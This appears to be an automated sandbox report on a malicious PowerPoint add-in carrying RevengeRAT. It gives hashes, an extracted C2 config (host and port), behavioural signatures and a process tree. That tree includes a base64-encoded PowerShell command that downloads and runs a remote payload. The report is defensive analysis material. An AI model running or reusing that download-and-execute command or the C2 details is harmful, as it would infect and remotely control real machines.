Analysis
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max time kernel
142s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240221-en -
resource tags
arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system -
submitted
25-02-2024 05:17
Static task
static1
Behavioral task
behavioral1
Sample
b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c.ppam
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c.ppam
Resource
win10v2004-20240221-en
General
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Target
b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c.ppam
-
Size
16KB
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MD5
5e6c2b4b6bae7269c8127ae4368f0178
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SHA1
29299b7437a5225885af5c152c17955adba89511
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SHA256
b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c
-
SHA512
fbf55d29917b5610ed0e95ba6bd7bad6beb08dd5eecb1c71848746fa387e30e2b9b2f0b952517249d9b2092d526fc8c7eb288a398b4319069529f94c69c6e71a
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SSDEEP
384:dXPz8GKfDSmH+V6WMxj7mV+ZOA9B0+6lZFUADrbA:VPoGKbSmHYCZOuB0+6vHY
Malware Config
Extracted
revengerat
NyanCatRevenge
brasil.ddns.com.br:333
5e241e476b334640a2f
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 3584 3244 powershell.exe POWERPNT.EXE -
RevengeRAT
Remote-access trojan with a wide range of capabilities.
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 35 3584 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3584 set thread context of 4948 3584 powershell.exe RegSvcs.exe -
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
POWERPNT.EXERegSvcs.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 RegSvcs.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegSvcs.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 3244 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3584 powershell.exe 3584 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3584 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
POWERPNT.EXEpid process 3244 POWERPNT.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
POWERPNT.EXEpid process 3244 POWERPNT.EXE 3244 POWERPNT.EXE 3244 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
POWERPNT.EXEpowershell.exedescription pid process target process PID 3244 wrote to memory of 3584 3244 POWERPNT.EXE powershell.exe PID 3244 wrote to memory of 3584 3244 POWERPNT.EXE powershell.exe PID 3584 wrote to memory of 4948 3584 powershell.exe RegSvcs.exe PID 3584 wrote to memory of 4948 3584 powershell.exe RegSvcs.exe PID 3584 wrote to memory of 4948 3584 powershell.exe RegSvcs.exe PID 3584 wrote to memory of 4948 3584 powershell.exe RegSvcs.exe PID 3584 wrote to memory of 4948 3584 powershell.exe RegSvcs.exe PID 3584 wrote to memory of 4948 3584 powershell.exe RegSvcs.exe PID 3584 wrote to memory of 4948 3584 powershell.exe RegSvcs.exe PID 3584 wrote to memory of 4948 3584 powershell.exe RegSvcs.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAGMAbABpAGUAbgB0AHgAeAB4AHgAeAB4AHgAeAB4AC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGQAMQA1ADQAZgBmADcAZAAtAGYAMgAyADYALQA0ADgAZAAwAC0AYQA5AGQANwAtADEAMgAwADAANwA2ADQAYwBhAGIANABlAA0ACgAnACkAOwAgAA0ACgByAGUARQBhAFoAYQBIAEIAYQBGAHAAZABSAFEAUQB0AHYASQBoAHoAYQBuAEEATABPAGIAYgBCAHAAVgBUAE8ARABRAGUAdwBXAEIATQBZAGMAQgBKAGkASQBTAHoASwBKAEkAeQB0AHYAcABSAEMASwB0AHUAWQBCAGgAbwBHAGkAQgBIAGEATABGAEEAUgBXAGsAVwANAAoA""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Checks processor information in registry
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0wkft1y0.rjh.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/3244-63-0x0000022CAC360000-0x0000022CAD330000-memory.dmpFilesize
15.8MB
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memory/3244-46-0x0000022CA9FB0000-0x0000022CAA7B0000-memory.dmpFilesize
8.0MB
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memory/3244-4-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-1-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmpFilesize
64KB
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memory/3244-5-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmpFilesize
64KB
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memory/3244-6-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmpFilesize
64KB
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memory/3244-8-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-7-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-9-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-10-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-11-0x00007FFC54470000-0x00007FFC54480000-memory.dmpFilesize
64KB
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memory/3244-12-0x00007FFC54470000-0x00007FFC54480000-memory.dmpFilesize
64KB
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memory/3244-29-0x0000022CA9FB0000-0x0000022CAA7B0000-memory.dmpFilesize
8.0MB
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memory/3244-2-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-47-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-48-0x0000022CAC360000-0x0000022CAD330000-memory.dmpFilesize
15.8MB
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memory/3244-49-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-50-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-51-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-52-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-53-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-54-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-55-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-56-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-58-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-57-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-59-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-60-0x0000022CA9FB0000-0x0000022CAA7B0000-memory.dmpFilesize
8.0MB
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memory/3244-61-0x0000022CA9FB0000-0x0000022CAA7B0000-memory.dmpFilesize
8.0MB
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memory/3244-62-0x0000022CAC360000-0x0000022CAD330000-memory.dmpFilesize
15.8MB
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memory/3244-0-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmpFilesize
64KB
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memory/3244-94-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-3-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmpFilesize
64KB
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memory/3244-93-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-90-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmpFilesize
64KB
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memory/3244-92-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-91-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmpFilesize
2.0MB
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memory/3244-87-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmpFilesize
64KB
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memory/3244-88-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmpFilesize
64KB
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memory/3244-89-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmpFilesize
64KB
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memory/3584-71-0x0000020258160000-0x0000020258182000-memory.dmpFilesize
136KB
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memory/3584-103-0x0000020258620000-0x0000020258638000-memory.dmpFilesize
96KB
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memory/3584-79-0x000002023FAA0000-0x000002023FAB0000-memory.dmpFilesize
64KB
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memory/3584-76-0x00007FFC70240000-0x00007FFC70D01000-memory.dmpFilesize
10.8MB
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memory/3584-108-0x0000020258640000-0x0000020258641000-memory.dmpFilesize
4KB
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memory/3584-95-0x0000020258620000-0x0000020258640000-memory.dmpFilesize
128KB
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memory/3584-96-0x0000020258620000-0x0000020258638000-memory.dmpFilesize
96KB
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memory/3584-97-0x0000020258620000-0x0000020258638000-memory.dmpFilesize
96KB
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memory/3584-99-0x0000020258620000-0x0000020258638000-memory.dmpFilesize
96KB
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memory/3584-107-0x0000020258620000-0x0000020258638000-memory.dmpFilesize
96KB
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memory/3584-77-0x000002023FAA0000-0x000002023FAB0000-memory.dmpFilesize
64KB
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memory/3584-78-0x000002023FAA0000-0x000002023FAB0000-memory.dmpFilesize
64KB
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memory/3584-101-0x0000020258620000-0x0000020258638000-memory.dmpFilesize
96KB
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memory/3584-105-0x0000020258620000-0x0000020258638000-memory.dmpFilesize
96KB
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memory/3584-112-0x00007FFC70240000-0x00007FFC70D01000-memory.dmpFilesize
10.8MB
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memory/4948-109-0x0000000000400000-0x000000000040A000-memory.dmpFilesize
40KB
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memory/4948-113-0x0000000074830000-0x0000000074FE0000-memory.dmpFilesize
7.7MB
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memory/4948-114-0x0000000004F80000-0x0000000005524000-memory.dmpFilesize
5.6MB
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memory/4948-115-0x0000000004A80000-0x0000000004A90000-memory.dmpFilesize
64KB
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memory/4948-116-0x0000000005530000-0x00000000055CC000-memory.dmpFilesize
624KB
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memory/4948-119-0x0000000004A80000-0x0000000004A90000-memory.dmpFilesize
64KB
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memory/4948-118-0x0000000074830000-0x0000000074FE0000-memory.dmpFilesize
7.7MB
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memory/4948-117-0x00000000055D0000-0x0000000005636000-memory.dmpFilesize
408KB